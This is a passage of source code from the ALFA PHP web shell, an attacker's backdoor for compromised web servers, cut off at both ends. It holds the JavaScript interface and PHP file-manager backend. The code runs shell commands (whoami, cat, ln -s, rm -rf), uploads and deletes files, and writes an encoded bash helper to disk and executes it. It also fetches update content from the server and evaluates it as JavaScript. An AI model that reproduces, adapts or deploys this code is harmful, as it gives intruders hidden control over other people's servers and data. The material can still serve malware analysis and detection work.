o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS["need_to_update_header"]; ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script>
</body>
</html>
<?php
}}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function alfaWhich($p) {
$path = alfaEx('which ' . $p,false,false);
if(!empty($path))
return strlen($path);
return false;
}
function alfaSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function alfaPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's​';
elseif (($p & 0xA000) == 0xA000)$i = 'l​';
elseif (($p & 0x8000) == 0x8000)$i = '-​';
elseif (($p & 0x6000) == 0x6000)$i = 'b​';
elseif (($p & 0x4000) == 0x4000)$i = 'd​';
elseif (($p & 0x2000) == 0x2000)$i = 'c​';
elseif (($p & 0x1000) == 0x1000)$i = 'p​';
else $i = 'u​';
$i .= (($p & 0x0100) ? 'r​' : '-');
$i .= (($p & 0x0080) ? 'w​' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's​' : 'x​' ) : (($p & 0x0800) ? 'S​' : '-'));
$i .= (($p & 0x0020) ? 'r​' : '-');
$i .= (($p & 0x0010) ? 'w​' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's​' : 'x​' ) : (($p & 0x0400) ? 'S​' : '-'));
$i .= (($p & 0x0004) ? 'r​' : '-');
$i .= (($p & 0x0002) ? 'w​' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't​' : 'x​' ) : (($p & 0x0200) ? 'T​' : '-'));
return $i;
}
function alfaPermsColor($f,$isbash=false){
$class = "";
$num = "";
$human = "";
if($isbash){
$class = $f["class"];
$num = $f["num"];
$human = $f["human"];
}else{
$num = substr(sprintf('%o', @fileperms($f)),-4);
$human = alfaPerms(@fileperms($f));
if(!@is_readable($f))
$class = "main_red_perm";
elseif (!@is_writable($f))
$class = "main_white_perm";
else
$class = "main_green_perm";
}
return '<span style="font-weight:unset;" class="'.$class.'">'.$num.'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="'.$class.'">'.$human.'</span>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function reArrayFiles($file_post){
$file_ary = array();
$file_count = count($file_post['name']);
$file_keys = array_keys($file_post);
for ($i=0; $i<$file_count; $i++) {
foreach ($file_keys as $key) {
$file_ary[$i][$key] = $file_post[$key][$i];
}
}
return $file_ary;
}
function _alfa_can_runCommand($cgi=true,$cache=true){
	if(isset($_COOKIE["alfa_canruncmd"])&&$cache){
		return true;
	}
	if(strlen(alfaEx("whoami",false,$cgi))>0){
		$_COOKIE["alfa_canruncmd"] = true;
		return true;
	}
	return false;
}
function _alfa_symlink($target, $link){
	$phpsym = function_exists("symlink");
	if($phpsym){
		@symlink($target, $link);
	}else{
		alfaEx("ln -s '".addslashes($target)."' '".addslashes($link)."'");
	}
}
function _alfa_file_exists($file,$cgi=true){
	if(@file_exists($file)){
		return true;
	}else{
		if(strlen(alfaEx("ls -la '".addslashes($file)."'",false,$cgi))>0){
			return true;
		}
	}
	return false;
}
function _alfa_file($file,$cgi=true){
	$array = @file($file);
	if(!$array){
		if(strlen(alfaEx("id",false,$cgi))>0){
			$data = alfaEx('cat "'.addslashes($file).'"',false,$cgi);
			if(strlen($data)>0){
				return explode("\n", $data);
			}else{
				return false;
			}
		}else{
			return false;
		}
	}else{
		return $array;
	}
}
function _alfa_is_writable($file){
	$check = false;
	$check = @is_writable($file);
	if(!$check){
		if(_alfa_can_runCommand()){
			$check = alfaEx('[ -w "'.trim(addslashes($file)).'" ] && echo "yes" || echo "no"');
			if($check == "yes"){
				$check = true;
			}else{
				$check = false;
			}
		}
	}
	return $check;
}
function _alfa_is_dir($dir,$mode="-d"){
	$check = false;
	$check = @is_dir($dir);
	if($mode == "-e"){
		$check = @is_file($dir);
	}
	if(!$check){
		if(_alfa_can_runCommand()){
			$check = alfaEx('[ "'.trim($mode).'" "'.trim(addslashes($dir)).'" ] && echo "yes" || echo "no"');
			if($check == "yes"){
				return true;
			}else{
				return false;
			}
		}
	}
	return $check;
}
function _alfa_load_ace_options($base){
	return '<span>Theme: </span><select class="ace-controler ace-theme-selector" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\''.$base.'\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\''.$base.'\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\''.$base.'\', \'-\', this);return false;">-</button> | ';
}
function alfaFilesMan2(){
	alfahead();
	AlfaNum(8,9,10,7,6,5,4);
	echo '<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>';
	alfaFooter();
}
function copy_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
function alfaFilesMan(){
if(!empty ($_COOKIE['alfa_f']))
$_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);
if(!empty($_POST['alfa1'])){
switch($_POST['alfa1']){
case 'uploadFile':
$move_cmd_file = false;
$alfa_canruncmd = false;
if($GLOBALS['glob_chdir_false']){
	$alfa_canruncmd = _alfa_can_runCommand(true,true);
	$move_cmd_file = true;
}
if(_alfa_is_writable($GLOBALS['cwd'])){
$files = reArrayFiles($_FILES['f']);
$ret_files = array();
foreach($files as $file){
if($move_cmd_file&&$alfa_canruncmd){
	alfaEx("cat '".addslashes($file['tmp_name'])."' > '".addslashes($_POST["c"]."/".$file['name'])."'");
}else{
	if(@move_uploaded_file($file['tmp_name'],$file['name'])){
		$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file['name'])):array("name" => "????");
		$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file['name'])):array("name" => "????");
		$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($file['name']):"????");
		$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($file['name']):"????");
		$file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
		$file_perm = alfaPermsColor($file['name']);
		$file_size = @filesize($file['name']);
		$ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);
	}
}
}
if(!$move_cmd_file){
	echo json_encode($ret_files);
}
}else{
	echo "noperm";
	return;
}
if(!$move_cmd_file){
return;
}
break;
case 'mkdir':
$new_dir_cmd = false;
if($GLOBALS['glob_chdir_false']){
	if(_alfa_can_runCommand(true,true)){
		if(_alfa_is_writable($GLOBALS['cwd'])){
			if(!_alfa_is_dir(trim($_POST['alfa2']))){
				alfaEx("cd '".trim(addslashes($_POST['c']))."';mkdir '".trim(addslashes($_POST['alfa2']))."'");
				echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
			}else{
				echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
			}
		}else{
			echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
		}
	}else{
		echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
	}
}else{
	if(_alfa_is_writable($GLOBALS['cwd'])){
		if(!_alfa_is_dir(trim($_POST['alfa2']))){
			if(!@mkdir(trim($_POST['alfa2']))){
				echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
			}else{
				echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
			}
		}else{
			echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
		}
	}else{
		echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
	}
}
break;
case 'delete':
function deleteDir($path){
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = @opendir($path);
while(($item = @readdir($dh)) !== false){
$item = $path.$item;
if((basename($item) == "..") || (basename($item) == "."))
continue;
$type = @filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
@closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f){
if($f == '..')
continue;
$f = rawurldecode($f);
if($GLOBALS["glob_chdir_false"]){
	if(_alfa_can_runCommand(true,true)){
		alfaEx("rm -rf '".addslashes($_POST['c'].'/'.$f)."'");
	}
}else{
alfaEx("rm -rf '".addslashes($f)."'",false,false);
if(@is_dir($f))
deleteDir($f);
else
@unlink($f);
}
}
if(@is_dir(rawurldecode(@$_POST['alfa2']))&&rawurldecode(@$_POST['alfa2'])!='..'){
deleteDir(rawurldecode(@$_POST['alfa2']));
alfaEx("rm -rf '".addslashes($_POST['alfa2'])."'",false,false);
}else{
@unlink(rawurldecode(@$_POST['alfa2']));
}
if($GLOBALS["glob_chdir_false"]){
	$source = rawurldecode(@$_POST['alfa2']);
	if($source!='..'&&!empty($source)){
		if(_alfa_can_runCommand(true,true)){
			alfaEx("cd '".trim(addslashes($_POST['c']))."';rm -rf '".addslashes($source)."'");
		}
	}
}
if(is_array($_POST['f']))
return;
break;
case 'paste':
if($_COOKIE['alfa_act'] == 'copy'&&isset($_COOKIE['alfa_f'])){
foreach($_COOKIE['alfa_f'] as $f)
copy_paste($_COOKIE['alfa_c'],$f, $GLOBALS['cwd']);
}elseif($_COOKIE['alfa_act'] == 'move'&&isset($_COOKIE['alfa_f'])){
function move_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if(($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
}elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['alfa_f'] as $f)
@rename($_COOKIE['alfa_c'].$f, $GLOBALS['cwd'].$f);
}elseif($_COOKIE['alfa_act'] == 'zip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$zipX = "alfa_".rand(1,1000).".zip";
if($zip->open($zipX, 1)){
@chdir($_COOKIE['alfa_c']);
foreach($_COOKIE['alfa_f'] as $f){
if($f == '..')continue;
if(@is_file($_COOKIE['alfa_c'].$f))
$zip->addFile($_COOKIE['alfa_c'].$f, $f);
elseif(@is_dir($_COOKIE['alfa_c'].$f)){
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach($iterator as $key=>$value){
$key = str_replace('\\','/',realpath($key));
if(@is_dir($key)){
if(in_array(substr($key, strrpos($key,'/')+1),array('.', '..')))continue;
}else{$zip->addFile($key,$key);}}}}
@chdir($GLOBALS['cwd']);
$zip->close();
__alert('>> '.$zipX.' << is created...');}}
}elseif($_COOKIE['alfa_act'] == 'unzip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
foreach($_COOKIE['alfa_f'] as $f) {
if($zip->open($_COOKIE['alfa_c'].$f)){
$zip->extractTo($_COOKIE['alfa_cwd']);
$zip->close();}}}}
unset($_COOKIE['alfa_f']);
break;
default:
if(!empty($_POST['alfa1'])){
if(in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))){
__alfa_set_cookie('alfa_act', @$_POST['alfa1']);
__alfa_set_cookie('alfa_f', @serialize($_POST['f']));
__alfa_set_cookie('alfa_c', @$_POST['c']);
return;
}
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if(preg_match("#(.*)\/\.\.#", $_POST['c'], $res)){
	$path = explode('/', $res[1]);
	array_pop($path);
	$_POST['c'] = implode('/', $path);
}
$cmd_dir = false;
if($dirContent === false){
	if(_alfa_can_runCommand(true,true)){
		$tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
		@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
		if(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){
			$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
			$tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);
			__alfa_set_cookie("alfachdir_bash", "true");
			__alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
		}
		$dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa '".addslashes(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd'])."'");
		$dirContent = json_decode($dirContent, true);
		if(is_array($dirContent)){
			array_pop($dirContent);
			$cmd_dir = true;
		}else{
			$dirContent = false;
		}
	}
}
alfahead();
AlfaNum(8,9,10,7,6,5,4);
$count_dirContent = @count($dirContent);
if($count_dirContent > 300){
	@$_COOKIE["alfa_limited_files"] = 100;
}
$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name';
$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;
$alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;
$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc';
$files_page_count = 1;
if($alfa_limited_files > 0){
	$files_page_count = ceil($count_dirContent/$alfa_limited_files);
	if($files_page_count > 1){
		$files_page_count++;
	}
}
echo '<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'alfa_sort_by\');" style="color:#25ff00;"><option value="name" '.($alfa_sort_by == 'name'?'selected':'').'>Name</option><option value="size" '.($alfa_sort_by == 'size'?'selected':'').'>Size</option><option value="modify" '.($alfa_sort_by == 'modify'?'selected':'').'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'alfa_filesman_direction\')" style="color:#25ff00;"><option value="asc" '.($alfa_filesman_direction == 'asc'?'selected':'').'>Ascending</option><option value="desc" '.($alfa_filesman_direction == 'desc'?'selected':'').'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="'.$alfa_limited_files.'" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'alfa_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">'.($count_dirContent-1).'</b></span></div><div class="header">';
if($dirContent == false){
echo '<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>';
alfaFooter();
return;
}
global $sort;
$sort = array('name', 1);
if(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){
	$sort[0] = $_COOKIE["alfa_sort_by"];
}
if(!empty($_POST['alfa1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
$sort = array($match[1], (int)$match[2]);
}
if($alfa_files_page_number > ($files_page_count-1)){
	$alfa_files_page_number = 1;
}
$checkbox_rand = rand(11111, 99999);
echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk".$checkbox_rand."' onclick='checkBox(this);' class='chkbx'><label for='mchk".$checkbox_rand."'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = $count_dirContent;
if($n > $alfa_limited_files && $alfa_limited_files > 0){
	$n = ($alfa_limited_files * $alfa_files_page_number);
	if($n > $count_dirContent){
		$n = $count_dirContent;
	}
}
$i = 0;
if($alfa_limited_files > 0 && $alfa_files_page_number > 1){
	$i = $alfa_limited_files * ($alfa_files_page_number - 1);
}
$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);
$cmd_dir_backp = "";
for(;$i<$n;$i++){
if($cmd_dir){
$filename = $dirContent[$i]["name"];
$file_owner = $dirContent[$i]["owner"];
$file_group = $dirContent[$i]["group"];
$file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);
$file_size = $dirContent[$i]["size"];
if(substr($dirContent[$i]["name"], 0 ,1) == "/"){
$file_path = $dirContent[$i]["name"];
$dirContent[$i]["name"] = "..";
$filename = $dirContent[$i]["name"];
}else{
$file_path = $GLOBALS['cwd']."/".$dirContent[$i]["name"];
}
}else{
$filename = $dirContent[$i];
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($GLOBALS['cwd'].$filename):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($GLOBALS['cwd'].$filename):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
$file_perm = alfaPermsColor($GLOBALS['cwd'].$filename);
$file_size = @filesize($GLOBALS['cwd'].$filename);
$file_path = $GLOBALS['cwd'].$filename;
}
$tmp = array('name' => $filename,
'path' => $file_path,
'modify' => $file_modify,
'perms' => $file_perm,
'size' => $file_size,
'owner' => $file_owner,
'group' => $file_group
);
if($filename == ".." && !$cmd_dir){
	$tmp["path"] = str_replace("\\", "/", realpath($file_path));
}
if(!$cmd_dir){
if(@is_file($file_path)){
$arr_mrg = array('type' => 'file');
if(@is_link($file_path)){
$arr_mrg["link"] = readlink($tmp['path']);
}
$files[] = array_merge($tmp, $arr_mrg);
}elseif(@is_link($file_path)){
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
}elseif(@is_dir($file_path)&& ($filename != ".")){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}else{
	if($dirContent[$i]["type"]=="file"){
		$files[] = array_merge($tmp, array('type' => 'file'));
	}else{
		if($dirContent[$i]["name"] != "."){
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
		}
	}
}
}
$GLOBALS['sort'] = $sort;
function alfaCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "alfaCmp");
usort($dirs, "alfaCmp");
if(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){
	if($_COOKIE["alfa_filesman_direction"] == 'desc'){
		$files = array_reverse($files);
		$dirs = array_reverse($dirs);
	}
}
$files = array_merge($dirs, $files);
$l=0;
$cc=0;
foreach($files as $f){
$f['name'] = htmlspecialchars($f['name']);
$newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name'];
$checkbox = 'checkbox_'.$checkbox_rand.$cc;
$raw_name = rawurlencode($f['name']);
$icon = $GLOBALS['DB_NAME']['show_icons']?'<img src="'.findicon($f['name'],$f['type']).'" width="30" height="30">':'';
$style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':'';
echo '<tr class="fmanager-row" id="tr_row_'.$cc.'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'.$raw_name.'" class="chkbx" id="'.$checkbox .'"><label for="'.$checkbox .'"></label></div></td><td id="td_row_'.$cc.'">'.$icon.'<div style="'.$style.'"><a row="'.$cc.'" id="id_'.$cc.'" class="main_name" onclick="'.(($f['type']=='file')?'editor(\''.$raw_name.'\',\'auto\',\'\',\'\',\'\',\''.$f['type'].'\');" href="#action=fileman&path='.$GLOBALS['cwd'].'&file='.$raw_name.'" fname="'.$raw_name.'" ftype="file" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'>'.($GLOBALS['cwd'].$f['name']==$GLOBALS['__file_path']?"<span class='shell_name' style='font-weight:unset;'>".$f['name']."</span>":htmlspecialchars($newname)):'g(\'FilesMan\',\''.$f['path'].'\');" href="#action=fileman&path='.$f['path'].'" fname="'.$raw_name.'" ftype="folder" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" 